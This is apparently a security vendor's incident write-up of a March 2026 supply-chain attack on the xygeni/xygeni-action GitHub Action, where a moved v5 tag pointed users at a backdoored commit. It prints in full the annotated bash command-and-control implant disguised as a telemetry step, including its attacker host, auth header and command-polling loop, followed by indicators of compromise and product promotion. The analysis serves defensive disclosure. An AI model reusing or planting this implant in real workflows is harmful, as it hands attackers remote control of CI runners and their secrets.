




















On March 3, 2026, an attacker with access to maintainer accounts and a GitHub App token injected a full command-and-control (C2) reverse shell into xygeni/xygeni-action, the official GitHub Action published by Xygeni.
The backdoor was disguised as a "scanner version telemetry" step. Three pull requests carrying the malicious code were opened and closed without merging - but the attacker also moved the v5 shortcut tag to point at the backdoored commit. For 7 days (March 3–10), anyone referencing xygeni/xygeni-action@v5 in their workflows was running a C2 implant.
Update (March 10, 2026): Xygeni has removed the compromised v5 tag, rotated all contributor tokens, enabled release immutability across all repositories, and added tag protection rules. They have published a full incident report. Users should pin to v6.4.0 or the full commit SHA 13c6ed2797df7d85749864e2cbcf09c893f43b23.
Are your actions pinned to commit SHAs?
Mutable tags are the #1 supply chain attack vector for GitHub Actions. StepSecurity can not only detect unpinned actions, overprivileged tokens, and other misconfigurations — but also fix them using automated pull requests.
On March 3, 2026, three pull requests were opened against xygeni/xygeni-action in rapid succession, all carrying the same backdoor payload:
nico-car, a legitimate long-time maintainer with commits going back to 2023. The commit was signed with felix.carnicero@xygeni.io, a Xygeni employee email. Closed at 10:29 without merging.nico-car. Closed at 10:44 without merging.xygeni-onboarding-app-dev[bot], a Xygeni-owned GitHub App. Notably, nico-car approved this PR with the comment "Looks good, telemetry step verified." — further evidence of compromised credentials. The PR author now shows as ghost (account deleted). Closed at 10:49 without merging.All three PRs had the same title pattern ("add scanner version telemetry reporting") and an identical malicious payload in action.yml. The PRs were closed without merging — but the attacker also force-pushed the v5 mutable tag to point at the backdoored commit from PR #48.

The payload was inserted as a new step called "Report Scanner Telemetry" in action.yml, positioned between the scanner installation and the actual scan. It uses heavily obfuscated variable names and runs in the background (&) so the legitimate scan proceeds normally — the user sees no difference in their workflow output.
Here's the malicious code with annotations:
- name: 'Report Scanner Telemetry'
shell: bash
run: |
# Report scanner version and environment for usage analytics
_xv=$($HOME/.xygeni/xygeni --version 2>/dev/null | head -1 || echo "unknown")
(
# C2 server endpoint (IP hidden behind nip.io DNS)
_e="https://security-verify.91.214.78.178.nip.io"
_k="X-B: sL5x#9kR!vQ2\$mN7" # Authentication header
_c(){ curl -sfk -m8 -H "$_k" "$@"; } # Helper: silent curl, skip TLS verify
# STEP 1: Register with C2 — sends hostname, username, OS info
_r=$(_c -X POST -H "Content-Type: application/json" \
-d "{\"h\":\"$(hostname -f)\",\"u\":\"$(id -un)\",\"o\":\"$(uname -sr) v${_xv}\"}" \
"$_e/b/in") || exit 0
[ -z "$_r" ] && exit 0
_b="${_r%%:*}" # Extract bot ID from response
# Encoder: compress + base64 command output
_enc(){ python3 -c "import sys,zlib,base64;sys.stdout.write(
base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode()
)" 2>/dev/null || base64|tr -d '\n'; }
# STEP 2: Poll for commands for 180 seconds
_t=$(($(date +%s)+180))
while [ "$(date +%s)" -lt "$_t" ]; do
_d=$(_c "$_e/b/q?b=$_b") || break # Fetch command
[ "$_d" != "-" ] && [ -n "$_d" ] && \
# STEP 3: Execute command and send results back
_c -X POST -H "Content-Type: application/json" \
-d "{\"b\":\"$_b\",\"r\":\"$(eval \"$_d\" 2>&1|_enc)\"}" \
"$_e/b/r" >/dev/null 2>&1
sleep $((RANDOM%5+2)) # Random delay (2-7s)
done
) & # Run in background
echo "::debug::Telemetry reported: $_xv" # Innocent-looking log lineThis is not a simple data exfiltration script. It's a full interactive C2 implant that:
91.214.78.178 (hidden behind a nip.io wildcard DNS record), sending the runner's hostname, username, and OS versioneval and returns the compressed, base64-encoded outputcurl -k) to avoid certificate errorsX-B: sL5x#9kR!vQ2$mN7) to prevent unauthorized access to the C2 endpointDuring those 3 minutes, the attacker could execute any command on the CI runner — steal environment variables (including GITHUB_TOKEN, XYGENI_TOKEN, and any other secrets), read source code, modify build artifacts, or pivot to other systems accessible from the runner.


⛔ curl https://security-verify.91.214.78.178.nip.io → BLOCKED
This is what StepSecurity Harden-Runner prevents
Real-time network egress monitoring for GitHub Actions. The C2 callback to 91.214.78.178 would have been detected and blocked before the implant could register, receive commands, or exfiltrate data.
The three PRs were a distraction — or perhaps failed attempts that were caught and closed by other maintainers. The real attack was moving the v5 tag.
GitHub Actions users commonly reference actions by major version shortcut tags:
# How most users reference the action:
uses: xygeni/xygeni-action@v5
# What this actually resolves to:
# Whatever commit the "v5" tag points toThe v5 tag is a mutable lightweight tag — anyone with write access can move it to point at any commit. The attacker moved it from the legitimate v5.38.1 release (commit ea66a5a) to the backdoored commit 4bf1d4e from PR #48's branch.
This means:
@v5 silently started running the backdoormain branch; tags can point to any commit in the repositoryv5 → commit 4bf1d4e — COMPROMISED (C2 backdoor by xygeni-onboarding-app-dev[bot])v5.38.1 → commit ea66a5a — Clean (legitimate release)v6 / v6.4.0 → commit 13c6ed2 — Clean (post-incident release with checksum verification)v5 — REMOVED (was pointing to backdoored commit 4bf1d4e; deleted by Xygeni on March 10)v5.38.1 → commit ea66a5a — Clean (legitimate release)v6 / v6.4.0 → commit 13c6ed2 — Clean (post-incident release with checksum verification)


This was not a fork-based attack from an external account. The malicious PRs came from inside the Xygeni organization:
felix.carnicero@xygeni.io (a Xygeni employee who has been merging PRs in this repo since 2022)nico-car (a maintainer with commits to this repo since 2023, including the SAST scan upload feature)xygeni-onboarding-app-dev[bot] (a Xygeni-owned GitHub App)Three different identities — two human maintainer accounts and one GitHub App — all used within a 23-minute window to push the exact same backdoor. This strongly suggests compromised credentials rather than a rogue insider: either the maintainer accounts were phished, their tokens were stolen, or the GitHub App's private key was compromised.
The rapid sequence (PR opened, closed 4-8 minutes later, new PR with same payload from different identity) suggests the attacker was racing to get the code in before being detected, switching identities when each attempt was blocked.
Within 2 hours of the malicious PRs, the Xygeni team:
a7ab78a and 6db3c3c)Six days later (March 9), they released v6.4.0 with checksum verification for the scanner download and updated the README with SHA pinning guidance. However, the v5 tag was not fixed — it was still pointing to the backdoored commit.
On March 10, after StepSecurity published this analysis and reported the issue to security@xygeni.io, Xygeni took additional remediation steps:
v5 tagXygeni published a full incident report confirming the compromise was caused by stolen GitHub credentials.

StepSecurity reported this compromise to Xygeni via responsible disclosure on March 9, 2026. Given that the v5 tag was still poisoned at the time of reporting, we published this analysis in the interest of time to protect affected users. Xygeni responded on March 10 by removing the compromised tag, rotating credentials, and publishing their own incident report.
ceead6d created, signed with felix.carnicero@xygeni.ionico-car ("feat: add scanner version telemetry reporting")nico-car ("improvement: add scanner version telemetry reporting")xygeni-onboarding-app-dev[bot]v5 tag moved to backdoored commit 4bf1d4etesting.yml workflowmain.yml, nightly-build.yml, testing-demo.yml)v6.4.0 released with SHA pinning guidance in READMEv5 tag still points to backdoored commitv5 tag removed
This attack exploits a fundamental design choice in GitHub Actions: mutable tags are the default way to reference actions. GitHub's own documentation recommends using major version tags like @v5 for convenience. But this means:
uses: xygeni/xygeni-action@v5 looks the same before and after the attackmain shows nothing — the malicious commit lives on a branch that was never merged; only the tag reference changedThis is the same attack vector that was exploited in the tj-actions/changed-files compromise in March 2025, where mutable tags on a popular action were pointed at malicious commits that exfiltrated CI/CD secrets from thousands of repositories.
StepSecurity's Harden-Runner was the first tool to detect the tj-actions/changed-files compromise by catching the unauthorized outbound network call from the poisoned action. The same runtime monitoring would have detected the C2 callback to 91.214.78.178 in this attack.
Tags are mutable. Commit SHAs are not. Always reference actions by their full SHA:
# DANGEROUS — mutable tag, can be silently replaced:
uses: xygeni/xygeni-action@v5
# SAFE — immutable commit reference:
uses: xygeni/xygeni-action@ea66a5ad3128270e853f46013be382e761d930b9 # v5.38.1StepSecurity's Orchestrate Security can automatically open pull requests to pin all your action references to commit SHAs across your repositories — enforcing pinning as policy rather than relying on developers to remember.
Are your actions pinned to commit SHAs?
Mutable tags are the #1 supply chain attack vector for GitHub Actions. StepSecurity can not only detect unpinned actions, overprivileged tokens, and other misconfigurations — but also fix them using automated pull requests.
Even pinning to a commit SHA doesn't help if the action's source repository is compromised and a new malicious commit is introduced. StepSecurity offers Maintained Actions — verified, security-hardened forks of popular GitHub Actions that are independently maintained and audited. By using StepSecurity-maintained versions of common actions, you eliminate the risk of upstream compromise entirely.
The backdoor's first action is a network call to 91.214.78.178. StepSecurity Harden-Runner monitors all outbound connections from GitHub Actions runners and blocks calls to unauthorized endpoints. The C2 callback would have been caught before the implant could register or receive commands.
Here is Harden-Runner in block mode detecting and blocking the C2 callback to security-verify.91.214.78.178.nip.io:


StepSecurity's Compromised Actions Policy blocks workflow runs that reference known-compromised actions before they execute. When StepSecurity's threat intelligence identifies a poisoned action — like the xygeni-action@v5 tag in this incident — the policy prevents any workflow using it from running, stopping the attack at the gate rather than relying on runtime detection.
Here is the Compromised Actions Policy in action — the workflow run using xygeni-action@v5 was forcefully cancelled by @stepsecurity-app[bot] before the backdoor could execute:

Even actions from security vendors can be compromised. Review the source code of any action you add to your workflows, and set up alerts for when action source code changes unexpectedly.
StepSecurity's Action Advisor helps you assess the risk of any third-party GitHub Action before you add it to your workflows. It scores actions on a 1–10 scale based on factors like maintainer activity, security best practices, and whether a StepSecurity-maintained alternative is available.

In this attack, the malicious commit 4bf1d4e was never merged into the default branch, the v5 tag was simply moved to point at it. This same technique was used in the tj-actions and reviewdog attacks: tags were pointed at commits outside the default branch to bypass PR reviews entirely. And troublingly, many legitimate actions follow release processes that produce the same warning - making it difficult to distinguish a real attack from a quirky build pipeline.
StepSecurity's Harden-Runner includes Imposter Commit Detection that automatically alerts you whenever a workflow runs an action whose tag or commit SHA doesn't belong to any branch in the action's repository. Rather than relying on developers to manually check each commit on GitHub, Harden-Runner flags these cases in real time so you can catch both compromised tags and risky release patterns before they become a problem.

security-verify[.]91[.]214[.]78[.]178[.]nip.io (resolves to 91[.]214[.]78[.]178)/b/in (register), /b/q (poll commands), /b/r (return results)X-B: sL5x#9kR!vQ2$mN7xygeni/xygeni-action@v5 → commit 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12ceead6d (PR #46, signed as felix.carnicero@xygeni.io)2d615f4 (PR #47, by nico-car)4bf1d4e (PR #48, by xygeni-onboarding-app-dev[bot])nico-car, fcarnicero (email), xygeni-onboarding-app-dev[bot]
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。